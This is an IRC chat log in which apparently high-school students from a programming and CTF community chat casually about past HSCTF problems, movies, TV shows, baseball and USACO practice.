[2014-11-27T18:30:47-0500] <+alokpathy> I thought voice was yellow
[2014-11-27T18:31:00-0500] <@LittleBobbyTables> You're on irccloud, right?
[2014-11-27T18:31:00-0500] <+alokpathy> and op was green
[2014-11-27T18:31:03-0500] <+alokpathy> Yeah.
[2014-11-27T18:31:08-0500] <@LittleBobbyTables> Yeah, it's red green
[2014-11-27T18:31:12-0500] <+alokpathy> dafuq
[2014-11-27T18:31:18-0500] <+alokpathy> My life is a lie.
[2014-11-27T18:31:36-0500] <+Tamini> LOL
[2014-11-27T18:31:42-0500] <+Tamini> im sorry that just
[2014-11-27T18:31:45-0500] <+Tamini> amuses me a bit
[2014-11-27T18:31:58-0500] <+alokpathy> I thought op was green and voice was yellow
[2014-11-27T18:32:03-0500] <+alokpathy> ever since I started using IRCCloud
[2014-11-27T18:32:34-0500] <+alokpathy> Lol you know what's funny?
[2014-11-27T18:33:19-0500] <+alokpathy> Do you remember
[2014-11-27T18:33:21-0500] <+alokpathy> Connect the Colors?
[2014-11-27T18:33:36-0500] <failedxyz> LOL
[2014-11-27T18:33:38-0500] <+alokpathy> From HSCTF?
[2014-11-27T18:33:41-0500] <failedxyz> yeah
[2014-11-27T18:33:42-0500] <+alokpathy> Guess who wrote that?
[2014-11-27T18:33:49-0500] <failedxyz> did you really
[2014-11-27T18:33:52-0500] <+alokpathy> I did.
[2014-11-27T18:34:12-0500] <+Tamini> LOL
[2014-11-27T18:34:16-0500] <+Tamini> how did that go
[2014-11-27T18:34:33-0500] <+alokpathy> I remember one or two people emailed us saying they couldn't read it 'cause they were colorblind.
[2014-11-27T18:34:38-0500] <@LittleBobbyTables> They were far enough apart, and right next to each other, that he probably did just fine
[2014-11-27T18:34:42-0500] <failedxyz> lol
[2014-11-27T18:34:45-0500] <+alokpathy> And Jacob replied saying
[2014-11-27T18:34:46-0500] <+Tamini> wait also what happened to all the skype dates that were promised
[2014-11-27T18:35:00-0500] <+alokpathy> "It's okay. The guy who wrote it is also colorblind."
[2014-11-27T18:35:02-0500] <failedxyz> lol
[2014-11-27T18:35:07-0500] <+alokpathy> Tamini: Ask awe
[2014-11-27T18:35:11-0500] <+alokpathy> actually wait
[2014-11-27T18:35:22-0500] <+alokpathy> It was a Skype date only if you could solve awe
[2014-11-27T18:35:25-0500] <failedxyz> lol
[2014-11-27T18:35:27-0500] <failedxyz> did anyone
[2014-11-27T18:35:29-0500] <+alokpathy> but nobody solved it.
[2014-11-27T18:35:52-0500] <+Tamini> i thought you also
[2014-11-27T18:35:55-0500] <+Tamini> promised a skype date
[2014-11-27T18:35:58-0500] <+Tamini> for some problem
[2014-11-27T18:36:33-0500] <+alokpathy> I think it was the legit solution to Biologist
[2014-11-27T18:36:38-0500] <+Tamini> lol
[2014-11-27T18:36:40-0500] <+alokpathy> but nobody got that either (I think).
[2014-11-27T18:36:49-0500] <+Tamini> what was the "legit" solution
[2014-11-27T18:36:52-0500] <+Tamini> ALSO WHO WROTE ESPERANTO
[2014-11-27T18:36:57-0500] <+alokpathy> [points to writeups]
[2014-11-27T18:37:01-0500] <+alokpathy> Ernest I think LOL
[2014-11-27T18:37:07-0500] <+Tamini> LOL
[2014-11-27T18:37:09-0500] <+Tamini> ggggg
[2014-11-27T18:37:14-0500] <+Tamini> got trolled so hard
[2014-11-27T18:37:17-0500] <+alokpathy> I vaguely remember him talking to Berger going like
[2014-11-27T18:37:28-0500] <+alokpathy> "French? Nah too many people know that? Spanish? ESPERANTO. YES."
[2014-11-27T18:38:59-0500] <+Tamini> LOL
[2014-11-27T18:39:38-0500] <+Tamini> personal favorites: lets share
[2014-11-27T18:40:08-0500] <+alokpathy> lolwut
[2014-11-27T18:40:36-0500] <@LittleBobbyTables> I loved the one that was literally impossible.
[2014-11-27T18:41:13-0500] <+alokpathy> Heh
[2014-11-27T18:41:18-0500] <+alokpathy> Not my fault.
[2014-11-27T18:41:21-0500] <+Tamini> also what was
[2014-11-27T18:41:24-0500] <+Tamini> keith
[2014-11-27T18:41:28-0500] <+Tamini> all about
[2014-11-27T18:41:33-0500] <+Tamini> everyone is named keith
[2014-11-27T18:41:35-0500] <+alokpathy> Tamini: Okay so
[2014-11-27T18:41:38-0500] <+alokpathy> basically
[2014-11-27T18:42:00-0500] <+alokpathy> I wrote this one problem that ended up being trashed later on that involved somebody named Keith 
[2014-11-27T18:42:20-0500] <+alokpathy> because our school mascot is a Knight
[2014-11-27T18:42:21-0500] <+alokpathy> so he'd be
[2014-11-27T18:42:22-0500] <+alokpathy> Keith the Knight
[2014-11-27T18:42:51-0500] <+Tamini> ohhh LOL
[2014-11-27T18:42:54-0500] <+alokpathy> I was going to change it to Nigel until Berger discovered Keith Numbers and made me stick with Keith
[2014-11-27T18:43:03-0500] <+Tamini> dude your school shirt is so cute
[2014-11-27T18:43:09-0500] <+alokpathy> School shirt?
[2014-11-27T18:43:14-0500] <+Tamini> math
[2014-11-27T18:43:17-0500] <+alokpathy> Oh yeah
[2014-11-27T18:43:20-0500] <+alokpathy> All Day all Knight
[2014-11-27T18:43:23-0500] <+Tamini> can i share that picture of you on irc
[2014-11-27T18:43:29-0500] <+Tamini> you look really good in it
[2014-11-27T18:43:29-0500] <+alokpathy> Yeah sure.
[2014-11-27T18:43:33-0500] <+alokpathy> wat
[2014-11-27T18:43:40-0500] <+Tamini> https://i.imgur.com/fMPhlXh.jpg
[2014-11-27T18:43:55-0500] <+alokpathy> [casual glance to the side]
[2014-11-27T18:43:57-0500] <+Tamini> ALSO YOURE HOLDING THAT SUPER EXPENSIVE BOOK LOL
[2014-11-27T18:44:11-0500] <+Tamini> i think you were looking at jacob
[2014-11-27T18:44:18-0500] <failedxyz> LOL
[2014-11-27T18:44:20-0500] <+alokpathy> All those books
[2014-11-27T18:44:20-0500] <failedxyz> haha
[2014-11-27T18:44:22-0500] <+alokpathy> were super expensive
[2014-11-27T18:44:23-0500] <+alokpathy> LOL
[2014-11-27T18:44:29-0500] <+alokpathy> even though they're like
[2014-11-27T18:44:34-0500] <+alokpathy> on a huge discount
[2014-11-27T18:44:34-0500] <+Tamini> omg ikr
[2014-11-27T18:44:38-0500] <+Tamini> that one p
[2014-11-27T18:44:44-0500] <+Tamini> $90 book
[2014-11-27T18:44:47-0500] <+Tamini> that we both really wanted
[2014-11-27T18:44:48-0500] <+Tamini> LOL
[2014-11-27T18:44:55-0500] <+alokpathy> That Dynamic Programming book
[2014-11-27T18:44:55-0500] <failedxyz> did i miss anything
[2014-11-27T18:44:56-0500] <+alokpathy> ogod I want that
[2014-11-27T18:45:00-0500] <+Tamini> "ooh this books look really...not affordable"
[2014-11-27T18:45:07-0500] <+alokpathy> Exactly LOL
[2014-11-27T18:45:17-0500] <+Tamini> s/books look/book looks
[2014-11-27T18:45:20-0500] <+Tamini> :P
[2014-11-27T18:46:46-0500] <failedxyz> hi
[2014-11-27T18:47:15-0500] <+Tamini> hi hi
[2014-11-27T18:47:30-0500] <+Tamini> alokpathy and jacob and be and i had so much fun that day
[2014-11-27T18:47:42-0500] <+Tamini> I was told there would be ice cream :(
[2014-11-27T18:49:12-0500] <+alokpathy> There was
[2014-11-27T18:49:17-0500] <+alokpathy> in the shop on that street.
[2014-11-27T18:49:44-0500] <+alokpathy> which is one of the many shops we didn't go to.
[2014-11-27T18:50:14-0500] <+Tamini> lol
[2014-11-27T18:50:21-0500] <+Tamini> because we suck at walking back apparently
[2014-11-27T18:51:16-0500] <failedxyz> y wasnt i invited :s
[2014-11-27T18:51:41-0500] <+Tamini> u were
[2014-11-27T18:51:44-0500] <+Tamini> it was pumac :<
[2014-11-27T18:52:01-0500] <failedxyz> oh
[2014-11-27T18:52:07-0500] <failedxyz> no i wasn't
[2014-11-27T18:52:33-0500] <failedxyz> no 1 cares abt me @ my skewl
[2014-11-27T18:56:28-0500] <+Tamini> aww
[2014-11-27T19:17:10-0500] <+alokpathy> failedxyz: They will after EasyCTF :P
[2014-11-27T19:17:26-0500] <+alokpathy> 😛
[2014-11-27T19:17:34-0500] <+alokpathy> heh, emoticons
[2014-11-27T19:17:48-0500] failedxyz (failedxyz@pdgn-ds7.8hr.fmirh5.IP) left IRC (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client)
[2014-11-27T19:17:52-0500] <+alokpathy> aw
[2014-11-27T19:17:53-0500] <+alokpathy> bye bye
[2014-11-27T19:18:19-0500] <+Tamini> whoa wait
[2014-11-27T19:18:21-0500] <+Tamini> emoticons
[2014-11-27T19:18:23-0500] <+Tamini> :O
[2014-11-27T19:31:41-0500] <+alokpathy> Tamini: Yes 😃
[2014-11-27T19:32:03-0500] <+alokpathy> :smile or :tongue or whatever
[2014-11-27T19:35:19-0500] <+Tamini> :smile really
[2014-11-27T19:40:29-0500] <+alokpathy> 😃 :D
[2014-11-27T19:40:34-0500] <+alokpathy> Yes
[2014-11-27T19:40:39-0500] <+alokpathy> You have to tab but yeah
[2014-11-27T19:41:40-0500] <+alokpathy> ...
[2014-11-27T19:41:59-0500] <+alokpathy> Tamini: Remember that DP book we saw in Labyrinth Books?
[2014-11-27T19:42:04-0500] <+alokpathy> The author is this dude
[2014-11-27T19:42:20-0500] <+alokpathy> https://en.wikipedia.org/wiki/Richard_E._Bellman
[2014-11-27T19:42:20-0500] <+Tamini> yes
[2014-11-27T19:42:20-0500] <+Tamini> omg
[2014-11-27T19:42:22-0500] <+alokpathy> "Richard Ernest Bellman (August 26, 1920 – March 19, 1984) was an American applied mathematician, celebrated for his invention of dynamic programming"
[2014-11-27T19:42:35-0500] <@LittleBobbyTables> they have every stage of the moon...
[2014-11-27T19:43:08-0500] <+alokpathy> ?
[2014-11-27T19:43:35-0500] <@LittleBobbyTables> 🌔 🌑 🌚 🌕 🌙
[2014-11-27T19:43:38-0500] <@LittleBobbyTables> A lot more as well
[2014-11-27T19:44:20-0500] <+Tamini> whoa
[2014-11-27T19:44:33-0500] <+Tamini> darn
[2014-11-27T19:44:48-0500] <+Tamini> yknow we havent had interesting channelwide discussions in a while
[2014-11-27T19:44:55-0500] <+ubuntor> unicode pls
[2014-11-27T19:45:29-0500] <+alokpathy> lel
[2014-11-27T19:45:38-0500] <+Tamini> :=
[2014-11-27T19:45:42-0500] <+Tamini> :P*
[2014-11-27T19:45:49-0500] <+alokpathy> :stuck_out_tongue:**
[2014-11-27T19:45:50-0500] <+alokpathy> oops
[2014-11-27T19:45:52-0500] <+alokpathy> 😛 **
[2014-11-27T19:46:08-0500] <@LittleBobbyTables> 😝
[2014-11-27T19:48:23-0500] <+ubuntor> i need a better font...
[2014-11-27T19:48:54-0500] <+Tamini> pls u guys
[2014-11-27T19:49:49-0500] <+Tamini> where's awe :<
[2014-11-27T19:50:09-0500] <+alokpathy> awe: awer u alive?
[2014-11-27T19:51:41-0500] <+Tamini> lol
[2014-11-27T20:11:56-0500] <+Tamini> alokpathy: y did everyone disappear i cry
[2014-11-27T20:12:26-0500] <+alokpathy> I didn't disappear
[2014-11-27T20:12:30-0500] <+alokpathy> Am I not a person? 
[2014-11-27T20:12:32-0500] <+alokpathy> Gosh Tamini
[2014-11-27T20:12:33-0500] <+Tamini> then talk to me
[2014-11-27T20:12:38-0500] <+Tamini> everyone else, gosh alokpathy
[2014-11-27T20:12:43-0500] <+alokpathy> Hi Tamini 
[2014-11-27T20:12:47-0500] <+alokpathy> [converses] 
[2014-11-27T20:12:48-0500] <+Tamini> how's your thanksgiving going?
[2014-11-27T20:12:52-0500] <+Tamini> lol
[2014-11-27T20:12:54-0500] <+alokpathy> It's okay.
[2014-11-27T20:12:59-0500] <+alokpathy> I watched Home Alone and wrote college apps.
[2014-11-27T20:13:01-0500] <+Tamini> alokpathy.converse()
[2014-11-27T20:13:09-0500] <+Tamini> ooh home alone its been so long
[2014-11-27T20:13:24-0500] <+Tamini> isnt that basically a lonely christmas movie tho
[2014-11-27T20:13:32-0500] <+alokpathy> A hilarious one, lol
[2014-11-27T20:13:47-0500] <+alokpathy> I watch it every year around Thanksgiving/Holiday season coincidentally. 
[2014-11-27T20:13:50-0500] <+Tamini> its ACTUALLY SO SAD
[2014-11-27T20:13:54-0500] <+alokpathy> IT'S SO GREAT
[2014-11-27T20:13:56-0500] <+Tamini> if you really think about it
[2014-11-27T20:13:56-0500] <+alokpathy> aside from
[2014-11-27T20:13:57-0500] <+alokpathy> yeah
[2014-11-27T20:13:58-0500] <+alokpathy> those parts
[2014-11-27T20:13:58-0500] <+Tamini> ITS TERRIBLE LOL
[2014-11-27T20:14:05-0500] <+alokpathy> The part when he like
[2014-11-27T20:14:06-0500] <+Tamini> those parents wtf
[2014-11-27T20:14:10-0500] <+alokpathy> trollololololols the thieves
[2014-11-27T20:14:12-0500] <+alokpathy> is hilarious
[2014-11-27T20:14:14-0500] <+alokpathy> the parts when he's like
[2014-11-27T20:14:15-0500] <+Tamini> LOL
[2014-11-27T20:14:16-0500] <+alokpathy> I miss my family
[2014-11-27T20:14:17-0500] <+alokpathy> are sad
[2014-11-27T20:14:18-0500] <+Tamini> wait which one
[2014-11-27T20:14:20-0500] <+Tamini> the original
[2014-11-27T20:14:21-0500] <+Tamini> or
[2014-11-27T20:14:27-0500] <+alokpathy> We watched the first one today
[2014-11-27T20:14:32-0500] <+alokpathy> the second one is pretty good.
[2014-11-27T20:15:15-0500] <+Tamini> yeaa it is
[2014-11-27T20:15:19-0500] <+alokpathy> The third one is trash.
[2014-11-27T20:15:24-0500] <+Tamini> ive been streaming romcoms by myself
[2014-11-27T20:15:59-0500] <+Tamini> and the third one is pretty awful yea
[2014-11-27T20:16:57-0500] <+alokpathy> Oh and I also basically watch
[2014-11-27T20:16:59-0500] <+alokpathy> all of Harry Potter
[2014-11-27T20:17:05-0500] <+alokpathy> 'cause ABC Family has this marathon thing around Christmas.
[2014-11-27T20:17:13-0500] <+Tamini> LOL
[2014-11-27T20:17:16-0500] <+Tamini> wait seriously
[2014-11-27T20:17:19-0500] <+alokpathy> Yeah
[2014-11-27T20:17:21-0500] <+alokpathy> every year I think
[2014-11-27T20:17:26-0500] <+Tamini> i need better stuff to watch
[2014-11-27T20:17:34-0500] <+alokpathy> Those are the only movies you need to watch.
[2014-11-27T20:17:36-0500] <+Tamini> or a boyfriend to watch these crappy movies with
[2014-11-27T20:17:38-0500] <+Tamini> LOL
[2014-11-27T20:17:48-0500] <+alokpathy> Those are basically my favorite movies
[2014-11-27T20:17:51-0500] <+alokpathy> along with Monsters Inc
[2014-11-27T20:17:52-0500] <+Tamini> and ive already watched HP a lot tho
[2014-11-27T20:17:57-0500] <+alokpathy> So?
[2014-11-27T20:17:59-0500] <+alokpathy> Watch it more.
[2014-11-27T20:18:00-0500] <+Tamini> OMG MONSTERS INC SO CUTE <3
[2014-11-27T20:18:02-0500] <+alokpathy> :D
[2014-11-27T20:18:05-0500] <+alokpathy> and Monsters U of course.
[2014-11-27T20:18:15-0500] <+alokpathy> Dude Monsters U came out at around the time
[2014-11-27T20:18:24-0500] <+alokpathy> kids who watched Monsters Inc went to college
[2014-11-27T20:18:25-0500] <+Tamini> i actually watched that in theaters lol
[2014-11-27T20:18:29-0500] <+Tamini> YEAH OMG
[2014-11-27T20:18:33-0500] <+Tamini> perfect timing
[2014-11-27T20:18:35-0500] <+alokpathy> Ikr?
[2014-11-27T20:18:37-0500] <+alokpathy> Omg I want to watch
[2014-11-27T20:18:39-0500] <+alokpathy> Finding Dory
[2014-11-27T20:18:40-0500] <+alokpathy> so badly
[2014-11-27T20:18:51-0500] <+alokpathy> Finding Nemo was also great
[2014-11-27T20:18:54-0500] <+Tamini> LOL
[2014-11-27T20:18:56-0500] <+Tamini> finding dory omg
[2014-11-27T20:19:04-0500] <+Tamini> i just basically
[2014-11-27T20:19:19-0500] <+Tamini> watch disney movies and romcoms and other dumb things when im alone
[2014-11-27T20:20:19-0500] <+alokpathy> I just derp around
[2014-11-27T20:20:32-0500] <+alokpathy> partially because half the time I don't even know I'm alone.
[2014-11-27T20:20:36-0500] <+alokpathy> My parents just leave with my brother somewhere
[2014-11-27T20:20:42-0500] <+alokpathy> and after an hour I realize that I'm alone.
[2014-11-27T20:20:50-0500] <+Tamini> LOL
[2014-11-27T20:20:52-0500] <+Tamini> aww
[2014-11-27T20:20:56-0500] <+Tamini> wait little brother right
[2014-11-27T20:20:59-0500] <+alokpathy> Yeah.
[2014-11-27T20:21:04-0500] <+Tamini> all of you kids have
[2014-11-27T20:21:08-0500] <+Tamini> little brothers
[2014-11-27T20:21:11-0500] <+Tamini> :<
[2014-11-27T20:21:15-0500] <+alokpathy> awe doesn't.
[2014-11-27T20:21:20-0500] <+alokpathy> He has an older sister.
[2014-11-27T20:21:23-0500] <+alokpathy> Just like you.
[2014-11-27T20:21:46-0500] <+Tamini> Heh, I'm basically awe
[2014-11-27T20:21:58-0500] <+Tamini> dude omg im finding all these TV shows to watch help
[2014-11-27T20:22:08-0500] <+Tamini> popcorntime is basically leading to my ruin
[2014-11-27T20:22:26-0500] <+alokpathy> What shows?
[2014-11-27T20:22:35-0500] <+Tamini> uh
[2014-11-27T20:22:44-0500] <+Tamini> i finished HIMYM this summer
[2014-11-27T20:22:49-0500] <+Tamini> just caught up on community
[2014-11-27T20:22:59-0500] <+alokpathy> That's acceptable. I don't think you need help.
[2014-11-27T20:23:01-0500] <+Tamini> almost caught up on TBBT because nerd
[2014-11-27T20:23:14-0500] <+alokpathy> You should watch Jon Stewart and Colbert.
[2014-11-27T20:23:16-0500] <+Tamini> my best friend is a huge Hannibal fan so maybe
[2014-11-27T20:23:25-0500] <+Tamini> im not even looking at GoT
[2014-11-27T20:23:41-0500] <+alokpathy> I used to watch BBT weekly, now I sorta stopped. 
[2014-11-27T20:23:44-0500] <+Tamini> I'm considering starting once upon a time
[2014-11-27T20:23:45-0500] <+Tamini> lol
[2014-11-27T20:23:48-0500] <+alokpathy> Other than that I only watch baseball games on TV.
[2014-11-27T20:23:57-0500] <+alokpathy> And movies, as I mentioned.
[2014-11-27T20:24:00-0500] <+Tamini> tbbt is just my nerdout session of the werk
[2014-11-27T20:24:01-0500] <+Tamini> week*
[2014-11-27T20:24:17-0500] <+Tamini> ok dude you need to explain this to me
[2014-11-27T20:24:18-0500] <+alokpathy> I always wondered what Sheldon would say to a theoretical computer scientist. 
[2014-11-27T20:24:22-0500] <+Tamini> nerds and baseball: whats up with that
[2014-11-27T20:24:32-0500] <+alokpathy> I've seen like
[2014-11-27T20:24:34-0500] <+alokpathy> no correlation
[2014-11-27T20:24:38-0500] <+Tamini> matt follows baseball (but then he follows all sports)
[2014-11-27T20:24:43-0500] <+Tamini> alex katz?
[2014-11-27T20:24:45-0500] <+Tamini> you?
[2014-11-27T20:24:47-0500] <+alokpathy> Or at least a negative correlation.
[2014-11-27T20:24:48-0500] <+Tamini> jwoglom?
[2014-11-27T20:24:56-0500] <+alokpathy> Doesn't Katz watch football, not baseball?
[2014-11-27T20:24:57-0500] <+jwoglom> hi
[2014-11-27T20:24:59-0500] <+jwoglom> i follow baseball
[2014-11-27T20:25:00-0500] <+alokpathy> Oh jwoglom you watch baseball?
[2014-11-27T20:25:04-0500] <+alokpathy> What team?
[2014-11-27T20:25:11-0500] <+jwoglom> nationals and red sox
[2014-11-27T20:25:22-0500] <+alokpathy> Ah, two ends of the spectrum this year :P
[2014-11-27T20:25:25-0500] <+jwoglom> redsox because my dad is from massachussets, nats because I live in northern va :P
[2014-11-27T20:25:28-0500] <+jwoglom> indeed
[2014-11-27T20:25:34-0500] <+jwoglom> for a long time it was the exact opposite tho
[2014-11-27T20:25:41-0500] <+alokpathy> Lol yeah
[2014-11-27T20:25:55-0500] <+Tamini> i thought katz was a baseball junkie apothy
[2014-11-27T20:26:01-0500] <+alokpathy> Tamini: No he's football
[2014-11-27T20:26:03-0500] <+alokpathy> NY Giants
[2014-11-27T20:26:12-0500] <+Tamini> well yeah obviously but
[2014-11-27T20:26:20-0500] <+Tamini> im 99% sure he also follows baseball
[2014-11-27T20:26:30-0500] <+Tamini> but then hes homeschooled and has free time -___-
[2014-11-27T20:26:35-0500] <+alokpathy> Hm, I should ask.
[2014-11-27T20:26:44-0500] <+Tamini> mommy why cant you withdraw me from tj and homeschool me
[2014-11-27T20:26:47-0500] <+Tamini> so i can be smart like alex
[2014-11-27T20:26:58-0500] <+alokpathy> Tamini: That's not free like TJ
[2014-11-27T20:27:06-0500] <+Tamini> its not?
[2014-11-27T20:27:17-0500] <+alokpathy> I don't think? 
[2014-11-27T20:27:23-0500] <+alokpathy> Idk
[2014-11-27T20:27:26-0500] <+alokpathy> Not sure
[2014-11-27T20:27:27-0500] <+alokpathy> Ask Alex
[2014-11-27T20:27:41-0500] <+alokpathy> No taxes, which is good.
[2014-11-27T20:27:51-0500] <+alokpathy> Though you have to buy basically all your supplies. 
[2014-11-27T20:27:52-0500] <+Tamini> lol
[2014-11-27T20:28:21-0500] <+alokpathy> Lol I legit don't know anybody in my school who follows any sport
[2014-11-27T20:28:24-0500] <+alokpathy> other than athletes. 
[2014-11-27T20:28:35-0500] <+Tamini> loool
[2014-11-27T20:28:41-0500] <+Tamini> all my nerd friends talk to me about sports
[2014-11-27T20:28:44-0500] <+Tamini> i stare blankly like
[2014-11-27T20:28:51-0500] <+Tamini> "ball go move what?"
[2014-11-27T20:28:56-0500] <+alokpathy> dude what
[2014-11-27T20:28:58-0500] <+alokpathy> I need to go to TJ
[2014-11-27T20:29:15-0500] <+alokpathy> Dude and even some athletes don't follow sports.
[2014-11-27T20:29:21-0500] <+alokpathy> like wtf
[2014-11-27T20:30:55-0500] <+Tamini> LOL
[2014-11-27T20:30:56-0500] <+Tamini> wut
[2014-11-27T20:30:59-0500] <+jwoglom> alokpathy: its not that easy
[2014-11-27T20:31:11-0500] <+alokpathy> jwoglom: Not that easy to do what?
[2014-11-27T20:31:22-0500] <+jwoglom> alokpathy: go to tj
[2014-11-27T20:31:31-0500] <+alokpathy> I'm aware.
[2014-11-27T20:31:39-0500] <+alokpathy> Especially since I'm a senior :P
[2014-11-27T20:31:46-0500] <+Tamini> well i mean alokpathy
[2014-11-27T20:31:53-0500] <+Tamini> my neighbor's house is still for sale
[2014-11-27T20:32:19-0500] <+alokpathy> Tamini: Both of my neighbors' houses were on sale
[2014-11-27T20:32:28-0500] <+alokpathy> but somebody didn't take up the opportunities 
[2014-11-27T20:32:39-0500] <+Tamini> im sorry i didnt know how nice your neighborhood was then
[2014-11-27T20:34:12-0500] <+Tamini> odarn where's jacob
[2014-11-27T20:34:19-0500] <+Tamini> we were supposed to make a nerd playlist
[2014-11-27T20:34:39-0500] <+alokpathy> Jacob is MIA
[2014-11-27T20:34:59-0500] <+Tamini> apothy
[2014-11-27T20:35:04-0500] <+Tamini> what kind of music do you listen to?
[2014-11-27T20:35:12-0500] <+alokpathy> Tamini: beeping noises
[2014-11-27T20:35:39-0500] <+alokpathy> I listen to a variety
[2014-11-27T20:35:50-0500] <+alokpathy> classical, electronic, rap, rock, pop, foreign
[2014-11-27T20:36:01-0500] <+Tamini> beeping noises lol
[2014-11-27T20:36:05-0500] <+Tamini> so you arent like jacob
[2014-11-27T20:36:11-0500] <+alokpathy> ?
[2014-11-27T20:36:13-0500] <+Tamini> who can obsess over math songs with me
[2014-11-27T20:36:30-0500] <+alokpathy> Math songs?
[2014-11-27T20:36:41-0500] <+Tamini> yes
[2014-11-27T20:36:44-0500] <+Tamini> nerdy songs
[2014-11-27T20:36:49-0500] <+alokpathy> Like what?
[2014-11-27T20:36:49-0500] <+Tamini> like joco and stuff
[2014-11-27T20:36:50-0500] <+alokpathy> AMGM?
[2014-11-27T20:36:56-0500] <+alokpathy> joco?
[2014-11-27T20:37:27-0500] <+Tamini> LOL
[2014-11-27T20:37:31-0500] <+Tamini> jonathan coulton
[2014-11-27T20:37:34-0500] <+Tamini> AMGM DOESNT COUNT
[2014-11-27T20:37:50-0500] <+alokpathy> It totally does.
[2014-11-27T20:38:17-0500] <+alokpathy> Lol Brice was singing it at PUMaC 'cause apparently it was used on a Finals problem.
[2014-11-27T20:38:42-0500] <+Tamini> LOL
[2014-11-27T20:38:48-0500] <+Tamini> to the tune of YMCA
[2014-11-27T20:38:50-0500] <+Tamini> :P
[2014-11-27T20:39:04-0500] <+alokpathy> Mhmm
[2014-11-27T20:39:16-0500] <+Tamini> but i meant like
[2014-11-27T20:39:24-0500] <+Tamini> finite simple group of order two
[2014-11-27T20:39:31-0500] <+Tamini> or jonathan coulton
[2014-11-27T20:39:33-0500] <+alokpathy> ?
[2014-11-27T20:39:41-0500] <+Tamini> listen to mandelbrot set its so great
[2014-11-27T20:39:50-0500] <+Tamini> "you're one badass fucking fractal" to quote
[2014-11-27T20:39:55-0500] <+alokpathy> wat
[2014-11-27T20:40:22-0500] <+Tamini> listen to it
[2014-11-27T20:40:31-0500] <+Tamini> also finite simple group of order two = math love song
[2014-11-27T20:42:57-0500] <+Tamini> (pls give comments on both)
[2014-11-27T20:43:03-0500] <+alokpathy> Later :P
[2014-11-27T20:43:38-0500] <+Tamini> aww why not now
[2014-11-27T20:44:07-0500] <+alokpathy> I'm doing stuffies
[2014-11-27T20:44:40-0500] <+Tamini> like what stuffies?
[2014-11-27T20:49:55-0500] <+alokpathy> usaco practice
[2014-11-27T20:50:06-0500] <+Tamini> WOW
[2014-11-27T20:50:13-0500] <+Tamini> youre choosing usaco practice over me icu
[2014-11-27T20:50:21-0500] <+alokpathy> No no
[2014-11-27T20:50:23-0500] <+alokpathy> I'm choosing it over songs
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[2014-11-27T20:53:50-0500] <@LittleBobbyTables> I'd choose usaco practice over you as well
[2014-11-27T20:54:51-0500] <+Tamini> hasnt the usaco training been
[2014-11-27T20:54:54-0500] <+Tamini> really meh for a while
[2014-11-27T20:55:04-0500] <+alokpathy> It's going through changes.
[2014-11-27T20:55:10-0500] <+alokpathy> Though, I'm not using the Training Pages.
[2014-11-27T20:55:14-0500] <+Tamini> its been dying
[2014-11-27T20:58:06-0500] <+alokpathy> I mean for the most part
[2014-11-27T20:58:08-0500] <+alokpathy> it's been the same
[2014-11-27T20:58:30-0500] <+alokpathy> unless Ch 2 or 3 went through significant changes
[2014-11-27T20:58:44-0500] <+alokpathy> but I can't see them 'cause now I have to do the problems they added to Ch 1
[2014-11-27T20:59:23-0500] <+Tamini> they moved the
[2014-11-27T20:59:35-0500] <+Tamini> really dumb fitting boxes problem iirc
[2014-11-27T21:00:16-0500] <+alokpathy> Oh yeah
[2014-11-27T21:00:18-0500] <+alokpathy> that one was
[2014-11-27T21:00:19-0500] <+alokpathy> annoying
[2014-11-27T21:00:30-0500] <+alokpathy> along with the rectangle one in 3.1
[2014-11-27T21:00:40-0500] <+alokpathy> legit the only reason I'm still in that section
[2014-11-27T21:00:45-0500] <+alokpathy> 'cause I'm too lazy to code it
[2014-11-27T21:01:14-0500] <+alokpathy> Dude Checker Challenge
[2014-11-27T21:01:15-0500] <+alokpathy> was so
[2014-11-27T21:01:16-0500] <+alokpathy> painful
[2014-11-27T21:01:22-0500] <+Tamini> Lol
[2014-11-27T21:01:24-0500] <+Tamini> omg
[2014-11-27T21:02:46-0500] • alokpathy: leaves for dinner
[2014-11-27T21:04:06-0500] <+Tamini> at 9pm?
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[2014-11-27T21:10:16-0500] <Hcnsh> hi
[2014-11-27T21:10:29-0500] <+Tamini> hihihi
[2014-11-27T21:11:13-0500] <Hcnsh> !join
[2014-11-27T21:11:18-0500] <Hcnsh> !resistance
[2014-11-27T21:11:18-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-11-27T21:12:00-0500] <Hcnsh> awe littlebobbytables alokpathy jwoglom sdamashek tamini ubuntor benwaffle bob_twinkles nezorg
[2014-11-27T21:12:17-0500] <+sdamashek> hi
[2014-11-27T21:12:21-0500] <Hcnsh> join resistance
[2014-11-27T21:12:22-0500] <+sdamashek> not right now
[2014-11-27T21:12:23-0500] <+Tamini> eyo sdamashek
[2014-11-27T21:12:28-0500] <+Tamini> how's your break goinng?
[2014-11-27T21:12:31-0500] <+sdamashek> good
[2014-11-27T21:12:34-0500] <+sdamashek> thanksgiving was nice
[2014-11-27T21:12:40-0500] <+sdamashek> ping pong is fun too
[2014-11-27T21:13:39-0500] <+Tamini> ooh ping pong
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[2014-11-27T21:19:14-0500] • alokpathy: returned
[2014-11-27T21:19:16-0500] <+alokpathy> !join
[2014-11-27T21:19:18-0500] <+alokpathy> Tamini: Yes.
[2014-11-27T21:19:26-0500] <+alokpathy> It's early for me.
[2014-11-27T21:19:59-0500] <+Tamini> wut
[2014-11-27T21:20:20-0500] <+alokpathy> I've had dinner at 11
[2014-11-27T21:20:33-0500] <+alokpathy> Usually it's 8-9 though
[2014-11-27T21:25:20-0500] <+Tamini> wut
[2014-11-27T21:26:45-0500] <+alokpathy> Yes
[2014-11-27T21:29:06-0500] <Hcnsh> i want to write an ircbot in c++
[2014-11-27T21:29:09-0500] <Hcnsh> but this server uses ssl
[2014-11-27T21:29:14-0500] <Hcnsh> fuck it, not going to bother here.
[2014-11-27T21:29:19-0500] <Hcnsh> i'll try elsewhere >.>
[2014-11-27T21:32:09-0500] <+Tamini> lol
[2014-11-27T21:33:00-0500] <+Tamini> have fun
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[2014-11-27T21:33:32-0500] <failedxyz> hei
[2014-11-27T21:33:45-0500] <+alokpathy> Hi
[2014-11-27T21:34:02-0500] <+Tamini> heeei
[2014-11-27T21:34:08-0500] <+Tamini> sup michael, ready for tomorrow?
[2014-11-27T21:34:13-0500] <+Tamini> i mean
[2014-11-27T21:34:14-0500] <failedxyz> tomorrow?
[2014-11-27T21:34:15-0500] <+Tamini> saturday?
[2014-11-27T21:34:17-0500] <failedxyz> lolnope
[2014-11-27T21:34:19-0500] <failedxyz> nowei
[2014-11-27T21:34:24-0500] <+Tamini> i can no longer count the days lol
